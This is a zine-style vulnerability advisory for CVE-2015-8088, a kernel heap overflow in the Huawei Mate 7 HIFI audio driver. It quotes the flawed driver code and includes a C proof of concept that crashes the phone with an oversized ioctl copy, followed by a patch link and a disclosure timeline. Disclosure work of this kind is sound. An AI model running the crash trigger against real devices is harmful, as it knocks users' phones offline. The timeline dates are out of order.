|=-----------------------------------------------------------------=|
|=-----=[ D O   N O T   F U C K   W I T H   A   H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #5 File 0x03 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------=[ CVE-2015-8088: Heap Overflow Vulnerability ]=----------=| 
|=--------=[ in the HIFI Driver of Huawei Smart Phone ]=-----------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ By Pray3r   ]=-------------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------------------------------------------------=|
|=--------------------=[ Update: Jan 20 2016 ]=--------------------=|
|=-----------------------------------------------------------------=|


--[ Content

 0x00. Summary

 0x01. Description

 0x02. Impact

 0x03. Affected

 0x04. Patch

 0x05. Timeline
 
 0x06. Reference


--[ 0x00. Summary

  /dev/hifi_misc module of Huawei Mate 7 smart phone has an input
  check error, which allows the user-mode application to modify
  kernel-mode memory data and maybe make system break down or
  application elevate privilege.


--[ 0x01. Description

  /dev/hifi_misc is an interface for a user-mode application to
interact with kernel module of hisi chipset.  It is very likely that
hifi_misc is related with hifi audio features.  Seen from
drivers/hisi/hifidsp/hifi_lpp.c, one could send messages to hifi's
kernel module by invoking ioctl() with HIFI_MISC_IOCTL_WRITE_PARAMS:

< drivers/hisi/hifidsp/hifi_lpp.c >

static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
	switch(cmd) {
		[...]
		case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
			ret = hifi_dsp_write_param(arg);
			break;
		[...]
	}
[...]
}

< / >

  After ioctl(), hifi_dsp_write_param() is called with the parameter
  directly passed from user-space:

< drivers/hisi/hifidsp/hifi_lpp.c >

int hifi_dsp_write_param(unsigned long arg)
{
	int ret = OK;
	phys_addr_t hifi_param_phy_addr = 0;
	void*	    			hifi_param_vir_addr = NULL;
	CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
	struct misc_io_sync_param para;
[...]
	if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) {  // arg --> para
	   loge("copy_from_user fail.\n");
	   ret = ERROR;
	   goto error1;
	}
[...]
	hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
	if (NULL == hifi_param_vir_addr) {
	   loge("hifi_param_vir_addr ioremap fail\n");
	   ret = ERROR;
	   goto error2;
	}
[...]
	ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
	if ( ret != 0) {
	   loge("copy data to hifi error! ret = %d", ret);
	}
[...]
}

< / >

  Parameter arg is a struct pointer points to user-space memory.
  After initialization of hifi_dsp_write_param(), user-space memory
  pointed by arg is copied to para via copy_from_user().  Without any
  verification, all the member variables of para is fully controlled
  by user-space application.  The struct of para:

struct misc_io_sync_param {
       void *                  para_in;          
       unsigned int        para_size_in;      
       void *                  para_out;          
       unsigned int        para_size_out;  
};

Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr,
  para.para_in, para.para_size_in)
 
 1. hifi_param_vir_addr points to a kernel heap block allocated by
    ioremap(), regarded as the address of destination memory block.
    The size of the this heap block is SIZE_PARAM_PRIV (equals to 200
    * 1024) bytes.
 
 2. para.para_in is a pointer controlled by user-space, regarded as
 the address of original memory block.

 3. para.para_size is an unsigned int controlled by user-space,
 regarded as the size of original memory block.
       
  Since there are not any verification of para_size and para_in, if
  para.para_size is larger than 200*1024, say 300*1024, a typical heap
  overflow is triggered.  The source code of our poc:

< poc.c >
/*
 *
 *  HuaWei Mate7 hifi driver Poc
 *
 *  Writen by pray3r
 *
 */

#include 
#include 
#include 
#include 
#include 
#include 

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
       void *                  para_in;           
       unsigned int            para_size_in;       
       void *                  para_out;           
       unsigned int            para_size_out;   
};

int main(int arg, char **argv)
{
	int fd; 
	void *in = malloc(300 * 1024);
	void *out = malloc(100);
	struct misc_io_sync_param poc;

	poc.para_in = in;
	poc.para_size_in = 300 * 1024;
	poc.para_out = out;
	poc.para_size_out = 100;

	fd = open("/dev/hifi_misc", O_RDWR);

	ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

	free(in);
	free(out);

	return 0;
}

< / >

  Execute the crash_poc will break down Huawei Mate 7.  Be aware that
  the poc should be executed under system or audio privilege, since
  /dev/hifi_misc is only writable to audio and system user.


--[ 0x02. Impact 

  The Kernel will panic if para.para_size being set by a large vaule, 
  the smart phone will break down because of heap overflow inside 
  kernel space, the problem is very hard to gain root. Because 
  get_vm_area_node() called ioremap()[1], the function allocates 
  a guard PAGE_SIZE page.

Thanks for Dan Rosenberg.[2]


--[ 0x03. Affected

  Model   : HUAWEI MT7-TL10
  Version : MT7-TL10V100R001CHNC00B133
  Android : 4.4.2
  Kernel  : 3.10.30-00015-g049a08f

  Other models of Huawei smart phones with hisi chipset may also be
  affected.


--[ 0x04. Patch

  More information:
  http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm


--[ 0x05. Timeline

 Sep 28 2015 - Report sent to Huawei PSIRT
 Sep 10 2015 - Huawei confirmed the security issues
 Nov 04 2015 - Huawei fixed and public the security issues
 Nov 09 2015 - Update CVE number
 
 --[ 0x05. Reference
 
 [1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351
 [2]. http://seclists.org/oss-sec/2015/q4/532